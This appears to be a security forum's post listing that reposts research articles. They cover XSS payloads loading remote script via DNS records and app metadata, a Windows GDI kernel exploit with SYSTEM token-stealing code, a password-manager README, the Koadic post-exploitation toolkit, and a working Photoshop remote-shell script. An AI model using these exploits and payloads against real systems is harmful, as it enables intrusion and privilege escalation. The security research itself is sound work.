-
Posts
18785 -
Joined
-
Last visited
-
Days Won
738
Everything posted by Nytro
-
The adventures of xss vectors in curious places By Bo0oM 30 July 2017 Blog Hi! I want to tell about a couple of cases when different services were collecting the data but were processing it incorrectly. In some cases the data was presented in secure format, but because of parsing and further processing, an initially harmless string becomes the attack vector. I did it all only for fun – just like the good old days XSS and DNS If you google “XSS via DNS” you can find a couple of articles [1] [2] that describe the passing attack vector in TXT record. But you can create a TXT record in any hosting panel and XSS is there since the creation of this blog. Why no one thought about different types of records – CNAME or NS for example? But if you want to respond with the domain names as an attacking vectors you should create your own NS server. Using the dnschef was a great idea. I used hack.bo0om.ru subdomain (any subdomain would work) and set my ip as name server for it. That’s it. Now we configure dnschef by modifying dnschef.ini, putting there the following: [MX] *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js> [NS] *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js> [CNAME] *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js> If some service takes DNS data and prints it on the page – there is a possibility that it forgot to sanitize it. Below are examples where XSS works: who.is robtex.com dnsqueries.com etc XSS and Instagram One time I added XSS to my instagram status just for fun. There’s nothing new about it, but it’s worth noting that the vector itself were harmless (on instagram page itself). But the XSS started to work on other domains, it was social network parsers and some analytic services – I saw it my web server logs. Here are some examples: findgram.me imgrab.com instagy.com iconosquare.com tofo.me photo.sh gramosphere.com Some of them already fixed this bugs, but let it be here as it was in the logs. XSS and Google Play @Black2Fan messaged me recently and asked if I had an android app with XSS in Google Play I did not know it was possible! Let’s try it! Maybe it will work (maybe even somewhere in google). So we generated a certificate for the app with XSS vector instead of developer name and other data We had some files with traps and files with path to them that form a valid tag, loading a script from my domain. Reminder – you can use special characters in filename (in linux), for anyone interested – take a look at assets folder. Too bad for you to inject your script in filename you should use a short domain name – there’s a 30 character limit. Unfortunately, we had not have a short domain name ready at hand. Even if all of one or two character domains are already registered – not all is lost yet. In modern web you can use punycode and you can register domain names using it, and there is some free punycode domains left. For example xn--g3h converts to . So I registered a .ws domain (4 symbols including the dot). The app is still available here, but it can get deleted in any moment. First knocks came from the app parsers, most of the traffic is from the following domains: 9apps.co.id 9apps.com allfreeapk.com allfreeapks.com androidapkdescargar.com androidfreeapk.com apk-baixar.com apkandroid.ru apkapps.in apkdl.in apkdroid4x.com apkforwindowsphone.com apkfurpc.com apkherunterladen.com apkindirpc.com apknakomputer.com apkpc.com apkperpcdownload.com apkpure.com apksurpc.com appbrain.com appszoom.com bestfreeapk.com downloadatoz.com freeapkdownloader.com googleplaystoreapks.com ninestore.ru ruapks.com telechargerapkgratuit.com xiaomilatam.net And there also were some app scanners, apk decompilers and some other stuff. One of the examples is HackApp – it searches for vulnerabilities in mobile apps. Our app has found a vulnerability in it (UPD: fixed). But the funniest thing is – after the app has been sent to virustotal, XSS had fired in antivirus vendor panels. Qihoo 360 subdomain— 360 Total Security developer Antiy Labs subdomain — AVL antivirus developer (fancy panel, Jira integration) Both panels are written on PHP and both vendors are from China, most of the data is getting sanitized, but the vector that sends a “screenshot” to my server goes off from time to time. It’s not a bugbounty but fun nonetheless. Translated by @no_kriminality and @Dark_and_knife Sursa: https://bo0om.ru/xss-everywhere
-
- 2
-
-
-
Abusing GDI Objects for ring0 Primitives Revolution Reading time ~21 min Posted by saif on 29 July 2017 Categories: Analysis, Defcon, Exploit, How-to, Materials, Reversing, Windows Exploiting MS17-017 EoP Using Color Palettes This post is an accompaniment to the Defcon 25 talk given by Saif. One of the core topics of the talk was the release of a new technique GDI object abuse technique, name Palette Objects. Saif presented a previously unreleased Windows 7 SP1 x86 exploit involving the abuse of a newly discovered GDI object abuse technique. A complete white-paper on the topic was released and can be found here: Whitepaper Both exploits discussed in the talk, were also released and the source code of these can be found here: https://github.com/sensepost/gdi-palettes-exp XEPALOBJ – Palette Objects: Palettes specify the colours that can be used in a device context. These are represented in kernel memory by Pool tag Gh?8, Gla8, and have the type name _PALETTE, XEPALOBJ or PALOBJ in Win32k debugging symbols. Since some of the analysed functions reference XEPALOBJ that’s what I decided to go with. The kernel structure is undocumented on MSDN but the x86 version can be found in ReactOS1, and both x86 and x64 versions can be found in Deigo Juarez’s amazing windbg extension GDIObjDump2. A relative memory read/write technique using palettes was mentioned in a 360 Vulcan team talk3 in March 2017. However, to my knowledge the full technique outlined here, including arbitrary memory read/write, has not been fully disclosed before. X86 and X64 PALETTE structure The most interesting members of the XEPALOBJ structure are the cEntries which represent the number of members in the PALETTEENTRY array, and the *pFirstColor, which is a pointer to the first member of the PALETTEENTRY array apalColors located at the end of the structure as seen below. KAlloc The CreatePalette function is used to allocate Palette objects. It takes a LOGPALETTE structure as argument, allocations lower than 0x98 bytes for x86 systems and 0xD8 for x64 bits, gets allocated to the look aside list. CreatePalette Function as described on MSDN tagLOGPALETTE structure as described on MSDN tagPALETTEENTRY structure as described on MSDN KFree To free a Palette object, the DeleteObject function can be used and the handle to Palette is supplied as argument: DeleteObject(HPALETTE) Read Memory Function The GetPaletteEntries function is used to read Palette entries nEntries, if lower, the XEPALOBJ.cEntries starting from offset iStartIndex, from the Palette’s apalColors array, pointed to by pFirstColor in the XEPALOBJ corresponding to the Palette handle hpal, to the provided buffer lppe. The function is defined as below. GetPaletteEntries Function as described on MSDN Write Memory Function There are two functions that can be used to write Palette entries nEntries, if lower, the XEPALOBJ.cEntries starting from offset iStart || iStartIndex, from the Palette’s apalColors array, pointed to by pFirstColor in the XEPALOBJ corresponding to the Palette handle hpal, from the provided buffer lppe. These functions are SetPaletteEntries, and AnimatePalette. SetPaletteEntries Function as described on MSDN AnimatePalette Function as described on MSDN Relative memory read/write cEntries The cEntries member in XEPALOBJ is used to reference the number of Entries in the Palettes apalColors array, if this member was to be overwritten with a larger number then whenever read/write operations happen on the Palette it will read/write beyond the kernel memory allocated for it. Arbitrary memory read/write *pFirstColor All read/write operations by referencing the *pFirstColor, which is the pointer the first entry in the apalColors array, by changing this pointer in a given Palette, it can be used to read/write from any location in kernel memory. Exploitation Scenario Palette objects can be abused the same way as Bitmap objects, by using a Manager Palette whose cEntries, or *pFirstColor members are under our control. To control the *pFirstColor of a second Worker Palette and gain arbitrary kernel memory read/write primitive. The focus will be on the situation where the cEntries of the Manager Palette object can be controlled, by an overflow, to gain a relative memory read/write to the location of the Manager Palette in kernel memory, and use it to overwrite the *pFirstColor of the adjacent Worker Palette object. Technique Restrictions The are some restrictions to using the Palette technique. Firstly, when overflowing the cEntires, the value has to be bigger than 0x26 for x86 systems, and 0x36, since the minimum size allocated for XEPALOBJ is 0x98 for x86 bit systems, and 0xd8 for x64 bit ones, so even if the cEntires is 0x1 if it was overwritten by 0x6 for example, will result in 0x6 * 0x4 = 0x18 which is less than the minimum allocated Palette size. When using the SetPaletteEntries Function to write Entries to memory, the overflow should not overwrite certain members of the XEPALOBJ (hdcHead, ptransOld and ptransCurrent) The user-mode SetPaletteEntries calls NTSetPaletteEntries->GreSetPaletteEntries which has the first restriction on hdcHead member, if this member is set the code path taken will end with an error or BSOD highlighted in Yellow below. Before the code reaches this point the GreSetPaletteEntries will call XEPALOBJ::ulSetEntries, which checks the pTransCurrent and pTransOld members and if they are set, a code path will be taken that will AND the values pointed by them with 0 blocks, in orange colours, although if these locations were allocated then this checks shouldn’t result in BSOD. The only restriction on setting Palette’s using the AnimatePalettes user-mode function, is that the most significant byte of the memory location pointed to by *pFirstColor has to be an ODD value, this proved challenging on x64 bit systems, but not so much on x86 ones, as shown in XEPALOBJ::ulAnimatePalette below. Although this will not result in BSOD but will error out without writing the new value to the memory location. MS17-017 Win32k!EngRealizeBrush Integer Overflow leading to OOB Pool Write: Now that I’ve outlined Palette objects and how they can be abused, let’s use the new technique in an exploit. Understanding the Bug Last march Microsoft released a patch, which fixed a privilege escalation vulnerability affecting the GDI kernel sub system. The patched function was Win32k!EngRealizeBrush. As we all know, the March patch fixed allot of other more critical vulnerabilities used by “Shadow Brokers”, however, while everyone was analysing the SMB vulnerabilities, I got busy analysing the privilege escalation bug. A diff of the code paths, pre and post patch. On the left is the patched function in Win32k.sys, comparing it to the unpatched version on the right. It was only obvious that there was an Integer overflow issue because of several integer verification functions such as ULonglongtoUlong, and others down the code. Even though the screenshot couldn’t fit the whole patch, I found it easier to just look at the un-patched function in IDA and try to determine what the issue was, and how it can be exploited. Triggering the Overflow The Win32k!EngRealizeBrush function, can be reached by using the PatBlt function to draw an area, with the created palette using the brush selected into the current graphics device context. When creating the palette using solid or hatched brushes, it was noticed that the value that can be overflown was always 0x100 on my system, however when utilising a pattern based brush, the value was controlled. HBITMAP bitmap = CreateBitmap(0x5a1f, 0x5a1f, 1, 1, NULL); HBRUSH hbrBkgnd = CreatePatternBrush(bitmap); PatBlt(hdc, 0x100, 0x10, 0x100, 0x100, PATCOPY); The value at EDI at the time, would be the bitmap.width member of the bitmap used with the pattern brush, a step-by-step of the calculations performed is as follows. x = Bitmap.width * 20 (ecx = 20 and its based of the HDC->bitmap.bitsperpixel) x = x / 2^3 y = x * bitmap.height result = y + 0x44 Then value of result is added to 0x40 and passed as the size parameter to the allocation function. Since the values of bitmap.width and bitmap.height can be controlled, it’s just a matter of finding the right combination, which would result in an overflow. The value we are aiming to get after the overflow is 0x10 (explained later). For an overflown integer to be of that value the results of the calculations in reality must be equal to 0x100000010. 0x100000010 – 0x44 – 0x40 = 0xFFFFFF8C A factor of an integer is used to find which two numbers, when multiplied together will result in that integer. One of the factors of 0xFFFFFF8C are 0x8c (140) and 0x30678337 (0x1d41d41) The value of the bitmap.width after the calculation should be 0x8c, (0x8c * 0x8)/0x20 = 0x23 Using the following bitmap as the pattern brush source, we would overflow the value when its added to 0x40 and 0x44 to result in 0x10 allocation. HBITMAP bitmap = CreateBitmap(0x23, 0x1d41d41, 1, 1, NULL); After the allocation, the function would try to write to certain offsets of the allocated object, as shown below. If the allocation is below 0x30 bytes in size the write to [esi+0x3C] would result in an out-of-bounds OOB write to that location. Stars Alignment Remember the 0x10 value? The reason for choosing that specific value is for stars aligning, the object of choice to be overflown would be a bitmap object, to overwrite its height member, and gain a relative memory read/write primitive. The 32-bit _SURFOBJ has the height member at offset 0x14: Allocated object size (0x10) + Bitmap _POOL_HEADER size(0x8) + _BASE_OBJECT size (0x10) + _SURFOBJ->height (0x14) = OOB write offset (0x3C) Precisely overwriting the height member of the adjacent bitmap object. To be completely honest, I did not just calculate the offsets and was done. It took a great amount of time, pain and trial and error to get this value so I was basically guessing when the stars aligned for me. Then it was time to check if this was actually happening in a debugger. By the end of the first section of the calculations, it can be seen that the value that would be passed to the calculation block is 0xFFFFFFD0 at EBX. Moving to the allocation section, in the beginning the value 0xFFFFFFD0 is added to 0x40 resulting in 0x10 in EAX. Since at the end of the function, the allocated object is freed, the object needs to be allocated at the end of the memory page. The difference this time is that it should be directly followed by the bitmap object, so that we can overflow the Bitmap object height and extend its size to gain relative memory read/write. At this point we have three choices, that we can go with: The extended Bitmap object can be used as a Manager, to overwrite the pvScan0 member of an adjacent Bitmap object, and use the second one as Worker. The extended Bitmap object can be used as a Manager, to overwrite an adjacent Palette object (XEPALOBJ) *pFirstColor member, and use the Palette as a Worker. Demo the full new Palette object technique, using the extended Bitmap object to overwrite the cEntries member of an adjacent Palette object, gaining relative memory read/write then use the modified Palette object as Manager, to control the *pFirstColor member of a second Palette and use the Second Palette as Worker. I decided to go with the last option, to take it as a chance to demo the new technique. To achieve this it is necessary to to perform the kernel Pool Feng-shui as explained below. Kernel Pool Feng-shui The first allocations will be of a bitmap of allocation size 0xFE8, since we know the vulnerable object will have the size of 0x10+0x8 (POOL_HEADER), so we create 2000 allocations. 0x1000 – 0x18 = 0xFE8 for (int y = 0; y < 2000; y++) { //0x3A3 = 0xFe8 bmp = CreateBitmap(0x3A3, 1, 1, 32, NULL); bitmaps[y] = bmp; } The Next step is to allocate 2000 Objects of size 0x18, the best object that I found was the Window Class lpszMenuName. Although this is a User object it is one of the User objects that gets allocated to the Pages Session Pool, and I think it can be used to leak the address of GDI objects from User objects, but this is beyond the scope of this paper. //Spray LpszMenuName User object in GDI pool. Ustx // size 0x10+8 TCHAR st[0x32]; for (int s = 0; s < 2000; s++) { WNDCLASSEX Class2 = { 0 }; wsprintf(st, "Class%d", s); Class2.lpfnWndProc = DefWindowProc; Class2.lpszClassName = st; Class2.lpszMenuName = "Saif"; Class2.cbSize = sizeof(WNDCLASSEX); if (!RegisterClassEx(&Class2)) { printf("bad %d %d\r\n", s, GetLastError()); break; } } The next step will be to delete(de-allocate) all the large size Bitmap object Gh05 allocated to the beginning of the page. for (int s = 0; s < 2000; s++) { DeleteObject(bitmaps[s]); } And allocate smaller Bitmap objects Gh05 of size 0x7F8 that will be allocated to the beginning of the Pool Page, hopefully directly after the memory holes, where the vulnerable object will be placed. for (int k = 0; k < 2000; k++) { //0x1A6 = 0x7f0+8 bmp = CreateBitmap(0x1A6, 1, 1, 32, NULL); bitmaps[k] = bmp; } Next 2000 Palette objects Gh08 that will be abused, will be allocated with size 0x7E8 to the remaining free memory in kernel memory pages. HPALETTE hps; LOGPALETTE *lPalette; //0x1E3 = 0x7e8+8 lPalette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (0x1E3 - 1) * sizeof(PALETTEENTRY)); lPalette->palNumEntries = 0x1E3; lPalette->palVersion = 0x0300; // for allocations bigger than 0x98 its Gh08 for less its always 0x98 and the tag is Gla18 for (int k = 0; k < 2000; k++) { hps = CreatePalette(lPalette); if (!hps) { printf("%s - %d - %d\r\n", "CreatePalette - Failed", GetLastError(), k); } hp[k] = hps; } Then freeing some of the allocated Window Class lpszMenuName, to create memory holes the same size as the vulnerable object allocation, at the end of the Pool page. TCHAR fst[0x32]; for (int f = 500; f < 750; f++) { wsprintf(fst, "Class%d", f); UnregisterClass(fst, NULL); } If everything went according to plan the memory layout after the vulnerable object is allocated will be as follows. Relative read/write Bitmap GDI Object extension Now that the vulnerable object is placed at the end of the page and directly before a Bitmap object, the out-of-bounds write (mov [esi+3c], ecx), should write the DWORD 0x00000006 which represents the brush’s bitmap type (BMF_32BPP) controlled by the biBitCount, to the offset 0x3C of the vulnerable object, which will fall nicely with the Bitmap Object sizlBitmap height member. As shown above, the adjacent Bitmap object sizlBitmap.Height changed, from 0x1 to 0x6 successfully expanding the Bitmap size, so any subsequent operations on the affected Bitmap object, will result in OOB memory read/write. The way to find out which Bitmap is extended, will be by iterating over the allocated bitmaps, and find which one can read data using GetBitmapBits, past its original size. for (int i = 0; i < 2000; i++) { res = GetBitmapBits(bitmaps[i], 0x6F8, bits); if (res > 0x6F8 - 1) { hManager = bitmaps[i]; printf("[*] Manager Bitmap: %d\r\n", i); break; } } Abusing Palette GDI Objects Once the Bitmap object is found, this Bitmap will be used to set the cEntries member of the adjacent Palette(XEPALOBJ) object to 0xFFFFFFFF, which is located at offset 0x6B8 of the bitmap bits. //BYTE *bytes = (BYTE*)&cEntries; for (int y = 0; y < 4; y++) { bits[0x6F8 - 8 - 0x38 + y] = 0xFF; } SetBitmapBits((HBITMAP)hManager, 0x6F8, bits); The adjacent Palette object XEPALOBJ.cEntries before being set by the Bitmap Object. The updated XEPALOBJ.cEntries. By this point a loop will be performed to find which Palette Object was extended by using the GetPaletteEntries function, and monitoring if the result entries count is larger than the original 0x1E3. UINT *rPalette; rPalette = (UINT*)malloc((0x400 - 1) * sizeof(PALETTEENTRY)); memset(rPalette, 0x0, (0x400 - 1) * sizeof(PALETTEENTRY)); for (int k = 0; k < 2000; k++) { UINT res = GetPaletteEntries(hp[k], 0, 0x400, (LPPALETTEENTRY)rPalette); if (res > 0x3BB) { printf("[*] Manager XEPALOBJ Object Handle: 0x%x\r\n", hp[k]); hpManager = hp[k]; break; } } Once the extended Palette Object is found we will save its handle to use it as the Manager, and set the next Palette Object *pFirstColor, which is at offset 0x3FE from Manager Palette object, to the address of a fixed Bitmap Object Pool Header. UINT wAddress = rPalette[0x3FE]; printf("[*] Worker XEPALOBJ->pFirstColor: 0x%04x.\r\n", wAddress); UINT tHeader = pFirstColor - 0x1000; tHeader = tHeader & 0xFFFFF000; printf("[*] Gh05 Address: 0x%04x.\r\n", tHeader); SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)&tHeader); As seen above, the Worker *pFirstColor member was successfully set to the fixed Bitmap object Pool header, which means that arbitrary memory read/write was achieved. The next step is to identify the Worker Palette object handle, we know that the fixed Bitmap object least significant byte of the POOL_HEADER will be 0x35 = 5d, since Gh15 translates to 0x35316847, to identify the Worker Palette Object, a loop will iterate over the allocated Palettes calling GetPaletteEntries, until a Palette is found that has first entry’s least significant byte = 0x35, and save its handle which is going to be our Worker Palette object. UINT wBuffer[2]; for (int x = 0; x < 2000; x++) { GetPaletteEntries((HPALETTE)hp[x], 0, 2, (LPPALETTEENTRY)wBuffer); if (wBuffer[1] >> 24 == 0x35) { hpWorker = hp[x]; printf("[*] Worker XEPALOBJ object Handle: 0x%x\r\n", hpWorker); printf("[*] wBuffer: %x\r\n", wBuffer[1]); break; } } The arbitrary memory read/write will be used to fix the clobbered Bitmap object header. VersionSpecificConfig gConfig = { 0x0b4 , 0x0f8 }; void SetAddress(UINT* address) { SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)address); } void WriteToAddress(UINT* data, DWORD len) { SetPaletteEntries((HPALETTE)hpWorker, 0, len, (PALETTEENTRY*)data); } UINT ReadFromAddress(UINT src, UINT* dst, DWORD len) { SetAddress((UINT *)&src); DWORD res = GetPaletteEntries((HPALETTE)hpWorker, 0, len, (LPPALETTEENTRY)dst); return res; } Steal Token 32-bit With arbitrary kernel memory read/write and all headers fixed, we can now get the kernel pointer to a SYSTEM process _EPROCESS structure, and copy and replace the SecurityToken of the current process as explained in a previous post. // get System EPROCESS UINT SystemEPROCESS = PsInitialSystemProcess(); //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS); UINT CurrentEPROCESS = PsGetCurrentProcess(); //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS); UINT SystemToken = 0; // read token from system process ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, &SystemToken, 1); fprintf(stdout, "[*] Got System Token: %x\r\n", SystemToken); // write token to current process UINT CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset; SetAddress(&CurProccessAddr); SYSTEM!! Now the current process has a SYSTEM level token, and will continue execution as SYSTEM, calling cmd.exe will drop into a SYSTEM shell. system("cmd.exe"); More Details: Defcon 25: 5A1F – Demystifying Windows Kernel Exploitation by Abusing GDI objects White-paper, slides, MS16-098 & MS17-017 exploit: https://github.com/sensepost/gdi-palettes-exp References: [1] ReactOS x86 Palette object: https://www.reactos.org/wiki/Techwiki:Win32k/PALETTE [2] GDIOBjDump: https://github.com/CoreSecurity/GDIObjDump [3] 360Vulcan team Win32k Dark Composition: https://www.slideshare.net/CanSecWest/csw2017-peng-qiushefangzhong-win32k-darkcompositionfinnalfinnalrmmark
-
- 1
-
-
EPMG Entropic Password Manager Generator EPMG is a cross-platform, most secure and storageless password manager that generates passwords Properties: security portability compatibility minimalism resilience versatility deniability Dependencies: Python 2.7 - main engine Limitations: no automatic clipboard copy for Android/iOS no proper RAM cleaning may take several seconds to compute on some devices static password policy impossibility to store unpredictable constants master-password compromise is fatal How it works The solution allows to generate a service-specific password using only one single master-password. ask for service/website/application/filename ask for login/id/username/email Because, there might be multiple accounts for one service. ask for master-password/key/passphrase This password should always be the same, but strong and unqiue, it allows multiple and deterministic generation. ask how many times the generated password was compromised If the master-password was compromised, every generated password is. However, if one of the generated passwords was compromised, adding the compromission number as a salt will generate a totally different and independent password. calculate PBKDF2-HMAC ( SHA-512, 1 000 000 iterations, service and login, password and compromises number ) PBKDF is a strong cryptographic function, combined with a strong and difficult to compute hashing algorithm as SHA-512 for one million times will make it extremely hard to bruteforce for an adversary of any type. PBKDF is more secure than HMAC, which is more secure than a simple hash. As you can see, the password with compromission number is actually used as salt and the actual "password" comes from concatenation of service and login. encode the result in Base64 This will output ASCII characters select first 16 characters Because, it's enough add "/0" at the end This is preferable because, the propability of occurence for special characters and numbers is lower than letters, whereas it's necessary for the current password policy (regardless the fact that it has nothing to do with the password security). copy to clipboard or show the generated password INPUT : service, login, master-password OUTPUT : pseudo-randomly generated 18 ASCII characters HowTo For Unix : sudo apt install python || echo 'you know how to install a package, right?' python EPMG.py || chmod +x EPMG.py && ./EPMG.py For Windows - installer.msi For Android : Download QPython Move EPMG.py to /storage/qpython/scripts/ Launch QPython Click on "quick launch" central logo icon Select "Run local script" Select "EPMG.py" Tap press on screen and choose "Select text" Select the password using your finger, this will copy it to the clipboard Press "enter" to exit For iOS - iTunes, which is paid, but you can find a free version "somewhere in a galaxy" Examples: ./EPMG.py IN : socialNetwork IN : secured@mail.net IN (no prompt) : MyStrong&UNIQUEp4$$w0rd IN : "enter" OUT (clipboard) : pcRZGsaE26SL6zNT/0 ./EPMG.py IN : mail.net IN : secured IN (no prompt) : MyStrong&UNIQUEp4$$w0rd IN : 1 IN : SHOW OUT: UngPtVcR9IJ+gxX+/0 Analysis At the current date, password is the most common form of authentication, even if some services support multiple authentication types, passwords are still remaining universal. The code is written in Python 2.7 and even smaller than this README, which makes it executable on almost any device. PBKDF itself is very difficult to bruteforce and practically impossible to make a dictionary/table. I maid it even more secure that your disk encryption and the password managers all together. Nothing is saved anywhere. The RAM (volatile memory) is exception ofcourse and even if Python has "garbadge collection" it has no C-type control over variables and it makes some copies of them anyway, thus making it almost impossible task to be sure that nothing remains in memory after execution. Nevertheless, compromised passwords can be changed and RAM leaking is pretty irrealistic problem for modern computers. Zero connection prevents network attacks and has less dependencies. It can also be executed in a different environment (like friend's PC or virtual machine), which should be trusted however. In case if you're forced to decrypt your drive for instance, all your stored passwords will be compromised and if you've encrypted them, a key might be demanded. A deterministic schema allows deniability in such case by simply denying having a password for a service or by providing a fake-one. Despite the criticism of deterministic password managers, secuirty policies were somehow stabilized and you can strip/recode the "improper" characters (at the cost of user experience). Anyway, user will end up with some local storage files (certificates, PINs, ...). Finally, like all my software, it's free and has no "premium" discrimination. Mathematics Since we add 2 characters in the end, they woun't count for complexity. We are left with 16 "random" characters selected out of Base64, so 64 possibilities for each-one, which gives us: 64^16 = 10^28 possibilities <=> log(64^16) in base of 2 = 96 random bits of entropy to guess theoretically, which is more than enough. However, practically the total number of possibilities can be reduced to 10^3 * 26^13 * binom(13,7) = 10^24 <=> 82 bits, because of statistics. The probability of occurence in Base64 charset for: decimals is 10/64 = 15% lowercase characters is 26/64 = 41% uppercase characters is 26/64 = 41% special chars is 2/64 = 3% => neglected Taking in count that I took only 16 characters, only 3 of them will be decimals and 13 are the alphabet characters, which can be lower or uppercase with no order importance. This brings us to combinatorics, more specifically binomial coefficients and factorials. Assuming that there will be half of uppercase and half of lowercase characters, n is total characters number (13) and k in the ratio of inter-charset occurence probability (13/2 = 6), the total number of possibilities for them is: which is equivalent to which equals 1716 An interesting conclusion is that the more charsets you use in your password, the less secure it is... Notes Password managers are insecure and hardly usable, just like passwords themself. This solution isn't a proposition to change something and the idea is pretty old, but it can still be used for "special" purposes or just by paranoids/cypherpunks. If you ask me what do I use for passwords, I'll say Firefox and manually encrypted files, plus some esoteric solutions that I might publish soon. We need new meanings of authentication, for more info read my research paper. "Cryptography began in mathematics." James Sanborn Sursa: https://github.com/cryptolok/EPMG
-
Koadic Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host (a.k.a. JScript/VBScript), with compatibility in the core to support a default installation of Windows 2000 with no service packs (and potentially even versions of NT4) all the way through Windows 10. It is possible to serve payloads completely in memory from stage 0 to beyond, as well as use cryptographically secure communications over SSL and TLS (depending on what the victim OS has enabled). Koadic also attempts to be compatible with both Python 2 and Python 3. Demo Hooks a zombie Elevates integrity (UAC Bypass) Dumps SAM/SECURITY hive for passwords Scans local network for open SMB Pivots to another machine Stagers Stagers hook target zombies and allow you to use implants. Module Description stager/js/mshta serves payloads in memory using MSHTA.exe HTML Applications stager/js/regsvr serves payloads in memory using regsvr32.exe COM+ scriptlets stager/js/rundll32_js serves payloads in memory using rundll32.exe stager/js/disk serves payloads using files on disk Implants Implants start jobs on zombies. Module Description implant/elevate/bypassuac_eventvwr Uses enigma0x3's eventvwr.exe exploit to bypass UAC on Windows 7, 8, and 10. implant/elevate/bypassuac_sdclt Uses enigma0x3's sdclt.exe exploit to bypass UAC on Windows 10. implant/fun/zombie Maxes volume and opens The Cranberries YouTube in a hidden window. implant/fun/voice Plays a message over text-to-speech. implant/gather/clipboard Retrieves the current content of the user clipboard. implant/gather/hashdump_sam Retrieves hashed passwords from the SAM hive. implant/gather/hashdump_dc Domain controller hashes from the NTDS.dit file. implant/inject/mimikatz_dynwrapx Injects a reflective-loaded DLL to run powerkatz.dll (using Dynamic Wrapper X). implant/inject/mimikatz_dotnet2js Injects a reflective-loaded DLL to run powerkatz.dll (@tirannido DotNetToJS). implant/inject/shellcode_excel Runs arbitrary shellcode payload (if Excel is installed). implant/manage/enable_rdesktop Enables remote desktop on the target. implant/manage/exec_cmd Run an arbitrary command on the target, and optionally receive the output. implant/pivot/stage_wmi Hook a zombie on another machine using WMI. implant/pivot/exec_psexec Run a command on another machine using psexec from sysinternals. implant/scan/tcp Uses HTTP to scan open TCP ports on the target zombie LAN. implant/utils/download_file Downloads a file from the target zombie. implant/utils/upload_file Uploads a file from the listening server to the target zombies. Disclaimer Code samples are provided for educational purposes. Adequate defenses can only be built by researching attack techniques available to malicious actors. Using this code against target systems without prior permission is illegal in most jurisdictions. The authors are not liable for any damages from misuse of this information or code. Acknowledgements Special thanks to research done by the following individuals: @subTee @enigma0x3 @tiraniddo @harmj0y @gentilkiwi @mattifestation clymb3r @Aleph___Naught @The_Naterz @JennaMagius @zerosum0x0 Sursa: https://github.com/zerosum0x0/koadic
-
- 1
-
-
codecolorist Security research @ Chaitin Tech Jul 30 How to turn Photoshop into a remote access tool Photoshop has an optional feature named Remote Connections. It’s disabled by default, but when you turn this on and set the password, anyone that knows the password can connect to your photoshop service remotely. Enable remote connections A common use case for this feature is to preview documents in realtime on remote devices, like an iPad or a phone, to see its actual looking on different screens. You may need some 3rd-party apps like Skala Preview or PS Play on your mobile devices. Skala Preview, image belongs to Bjango.com The remote connection is actually running JSX on Photoshop instance. JSX is the macro for Photoshop (not the one from Facebook). The scripts are written in Javascript, and have the abilities powered by Photoshop, like loading images, tuning colors, drawing vectors and then export. The following manuals shows how to write and run the scripts, and the available APIs. Adobe provides an open-sourced library generator-core to establish remote connections, so if you are curious about the detail of the protocol you can take a look at it. When you turn on Remote Connection, Photoshop will listen on port 49494: $ netstat -an | grep 49494 tcp4 0 0 *.49494 *.* LISTEN From the source we can see that the password is used for generating key in communications. It uses Triple DES algorithm, fixed iv. The key is generated by pbkdf2 algorithm, with a constant salt “Adobe Photoshop”, and 1000 iterations. adobe-photoshop/generator-core generator-core - Core Node.js library for Adobe Photoshop CC's Generator extensibility layergithub.com The following snippet pops an alert on remote Photoshop: const core = require("generator-core/lib/generator") const options = { host: '192.168.1.123', password: 'password', port: 49494 } const generator = core.createGenerator() generator.start(options).done(() => { generator.evaluateJSXString('alert("Hello")').then(() => generator.shutdown()) }) What makes me excited is that there’s a function that not listed in the reference book: app.system, which executes arbitrary system command. What about making it a web shell? Then I tried running this in my Photoshop, expecting to pop the output: alert(app.system("id")) Unfortunately, the return value is the exit status code, not the contents from stdout. A blind shell sucks. The solution is easy. Photoshop’s JSX also provides API for accessing file system. We can redirect the stdout to a temporary file, then read it! var tmpFile = Folder.temp + 'output.txt'; app.system("id > " + tmpFile); var stdout = new File(${tmpFile}); stdout.open('r'); stdout.encoding = "UTF-8"; var content = stdout.read(); stdout.close(); stdout.remove(); alert(content); That’s it! So my RAT script may look like this: const readline = require('readline') const backdoor = require("generator-core/lib/generator") const options = { host: '127.1', password: 'password', port: 49494 } console.info('Establishing connection to ' + options.host) const generator = backdoor.createGenerator() generator.start(options).done(() => { const rl = readline.createInterface({input: process.stdin, output: process.stdout, prompt: '> '}) .on('line', line => { let command = line.trim() let tmpFile = `Folder.temp + ${JSON.stringify(Math.random() + '.txt')}` let reader = `var stdout = new File(${tmpFile});stdout.open('r');stdout.encoding = "UTF-8";var content = stdout.read();stdout.close();stdout.remove();content` generator.evaluateJSXString(`app.system("${command} > " + ${tmpFile});`).then(() => { generator.evaluateJSXString(reader).then(output => { console.log(output) rl.prompt() }) }) }) .on('SIGINT', () => { generator.shutdown() rl.close() }) console.log('Remote photoshop shell') rl.prompt() }) result To discover the nearby controllable Photoshop instances, simply scan TCP port 49494 or use the mDNS protocol to search “_photoshopserver.tcp.”. This feature is not consider a vulnerability, since you need to know the password. I don’t know if the algorithm is crackable. But if someone asking you to turn the feature on and hand out your password, be careful. Sursa: https://medium.com/0xcc/how-to-turn-photoshop-into-a-remote-access-tool-972238dc98e9
-
- 2
-
-
Ca in fiecare an, multe lucrui misto.
-
Kaspersky Lab releases free antivirus software in global push
Nytro replied to a topic in Stiri securitate
Lumea se plangea pe Twitter deoarece coleteaza date, desi se stie ca toti antivirusii fac asta. -
